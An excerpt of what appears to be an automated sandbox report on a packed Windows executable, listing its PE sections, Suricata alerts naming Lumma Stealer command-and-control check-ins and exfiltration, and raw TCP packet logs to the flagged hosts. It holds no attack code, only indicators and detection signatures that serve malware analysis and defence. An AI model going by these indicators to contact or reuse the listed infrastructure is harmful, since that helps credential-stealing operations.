IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	8dec45908184bf074b43a87e1356cb89	False	0.9994064031862745	data	7.976629648951954	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cowltmfv	0x55000	0x29d000	0x29ca00	063ed0de9455369b7e956ca62d1a71bc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
awczhont	0x2f2000	0x1000	0x400	2fd10b4347b634f054d7c981479582b4	False	0.7529296875	data	5.972610427756257	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f3000	0x3000	0x2200	1dcb7c147e8ae0bf95b8820a40815d8e	False	0.35535386029411764	DOS executable (COM)	3.888582105560062	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T08:42:27.611070+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T08:42:28.368044+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T08:42:28.368044+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.199.72	443	TCP
2024-12-24T08:42:29.726331+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T08:42:30.507390+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T08:42:30.507390+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.199.72	443	TCP
2024-12-24T08:42:32.509284+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49706	172.67.199.72	443	TCP
2024-12-24T08:42:33.822126+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	172.67.199.72	443	TCP
2024-12-24T08:42:35.248536+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	172.67.199.72	443	TCP
2024-12-24T08:42:37.672944+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	172.67.199.72	443	TCP
2024-12-24T08:42:40.427491+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49710	172.67.199.72	443	TCP
2024-12-24T08:42:43.074762+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	172.67.199.72	443	TCP
2024-12-24T08:42:43.124531+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49714	172.67.199.72	443	TCP
2024-12-24T08:42:47.876723+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49732	172.67.199.72	443	TCP
2024-12-24T08:42:48.659586+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49732	172.67.199.72	443	TCP
2024-12-24T08:42:50.383357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49735	185.166.143.50	443	TCP
2024-12-24T08:42:52.779514+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49744	3.5.17.0	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 08:42:26.377449989 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:26.377502918 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:26.377595901 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:26.393670082 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:26.393708944 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:27.610929012 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:27.611069918 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:27.614836931 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:27.614854097 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:27.615117073 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:27.656271935 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:27.659892082 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:27.659909010 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:27.660042048 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.368057966 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.368159056 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.368257999 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.398173094 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.398202896 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.398219109 CET	49704	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.398224115 CET	443	49704	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.512284994 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.512351990 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:28.512537003 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.513788939 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:28.513808966 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:29.726269007 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:29.726330996 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:29.727705002 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:29.727713108 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:29.727962017 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:29.729118109 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:29.729208946 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:29.729223967 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507388115 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507442951 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507477045 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507508039 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507539034 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507548094 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.507548094 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.507558107 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507592916 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507636070 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.507641077 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.507735014 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.515655994 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.524022102 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.524646997 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.524653912 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.578128099 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.578136921 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.626112938 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.626811028 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.671907902 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.699346066 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.709333897 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.709368944 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.709470034 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.709530115 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.709530115 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.710047007 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.710047007 CET	49705	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:30.710067034 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:30.710078955 CET	443	49705	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:31.297794104 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:31.297851086 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:31.297928095 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:31.298333883 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:31.298345089 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:32.509181023 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:32.509284019 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:32.510628939 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:32.510642052 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:32.510890961 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:32.512305021 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:32.512473106 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:32.512506962 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:33.822119951 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:33.822228909 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:33.822277069 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:33.825001001 CET	49706	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:33.825025082 CET	443	49706	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:34.021850109 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:34.021893024 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:34.021960974 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:34.022299051 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:34.022310019 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:35.248359919 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:35.248536110 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:35.249886036 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:35.249895096 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:35.250130892 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:35.251461983 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:35.251621962 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:35.251648903 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:35.255650043 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:35.255655050 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:36.235961914 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:36.236054897 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:36.236133099 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:36.236269951 CET	49707	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:36.236294985 CET	443	49707	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:36.454319000 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:36.454372883 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:36.454451084 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:36.454763889 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:36.454775095 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:37.672821999 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:37.672944069 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:37.674228907 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:37.674245119 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:37.674638987 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:37.675955057 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:37.676105022 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:37.676136017 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:37.676197052 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:37.676203966 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:38.641702890 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:38.641808987 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:38.641880035 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:38.642026901 CET	49708	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:38.642045975 CET	443	49708	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:39.214499950 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:39.214550972 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:39.214678049 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:39.215056896 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:39.215071917 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:40.427355051 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:40.427490950 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:40.440253019 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:40.440269947 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:40.440639973 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:40.442380905 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:40.442471027 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:40.442475080 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:41.214567900 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:41.214668989 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:41.214735985 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:41.214977026 CET	49710	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:41.214998960 CET	443	49710	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:41.859352112 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:41.859400988 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:41.859714985 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:41.861552000 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:41.861572981 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.074618101 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.074762106 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.077375889 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.077382088 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.077636957 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.115782022 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124020100 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124068975 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124207973 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124239922 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124418974 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124458075 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124571085 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124607086 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124746084 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124778986 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124949932 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124977112 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.124979973 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.124995947 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.125111103 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.125145912 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.125164986 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.125181913 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.125308990 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.125339985 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.167335033 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.167474985 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.167501926 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.167521000 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.167541981 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:43.167578936 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:43.167593002 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:46.606077909 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:46.606170893 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:46.606322050 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:46.606776953 CET	49714	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:46.606794119 CET	443	49714	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:46.665283918 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:46.665293932 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:46.665368080 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:46.665636063 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:46.665647030 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:47.876641035 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:47.876723051 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:47.880424976 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:47.880436897 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:47.880676985 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:47.889384985 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:47.889404058 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:47.889456034 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:48.659580946 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:48.659693956 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:48.659765959 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:48.659888029 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:48.659912109 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:48.659919024 CET	49732	443	192.168.2.5	172.67.199.72
Dec 24, 2024 08:42:48.659924984 CET	443	49732	172.67.199.72	192.168.2.5
Dec 24, 2024 08:42:48.799190044 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:48.799246073 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:48.799338102 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:48.799776077 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:48.799791098 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:50.383220911 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:50.383357048 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:50.385123014 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:50.385170937 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:50.385478020 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:50.386749029 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:50.431329012 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.079843044 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.079865932 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.079925060 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.079930067 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:51.079976082 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:51.080151081 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:51.080163002 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.080176115 CET	49735	443	192.168.2.5	185.166.143.50
Dec 24, 2024 08:42:51.080182076 CET	443	49735	185.166.143.50	192.168.2.5
Dec 24, 2024 08:42:51.362700939 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:51.362768888 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:51.362860918 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:51.363553047 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:51.363567114 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:52.779433966 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:52.779514074 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:52.781049967 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:52.781056881 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:52.781291962 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:52.783411980 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:52.827359915 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.265075922 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.311815977 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.311840057 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.311887026 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.311906099 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.311918974 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.311949015 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.498292923 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.498317003 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.498346090 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.498425961 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.498439074 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.498450994 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.546988964 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.548602104 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.548620939 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.548696041 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.548732996 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.548742056 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.548775911 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.555871964 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.555928946 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.555936098 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.609493971 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.676763058 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.676778078 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.676831961 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.676903009 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.676924944 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.676939964 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.676992893 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.711281061 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.711307049 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.711348057 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.711443901 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.711456060 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.711505890 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.738581896 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.738606930 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.738689899 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.738702059 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.738749027 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.742398024 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.796967030 CET	49744	443	192.168.2.5	3.5.17.0
Dec 24, 2024 08:42:53.854008913 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.854026079 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.854059935 CET	443	49744	3.5.17.0	192.168.2.5
Dec 24, 2024 08:42:53.854079008 CET	49744	443	192.168.2.5	3.5.17.0
